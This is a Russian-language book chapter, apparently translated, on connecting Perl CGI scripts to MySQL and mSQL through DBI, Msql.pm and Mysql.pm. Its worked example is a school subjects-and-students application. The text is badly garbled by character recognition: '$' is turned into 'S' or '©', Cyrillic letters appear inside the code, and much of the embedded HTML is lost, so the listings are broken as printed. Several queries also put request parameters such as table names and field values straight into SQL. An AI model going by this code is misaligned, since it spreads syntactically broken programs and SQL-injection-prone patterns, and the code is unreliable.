    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

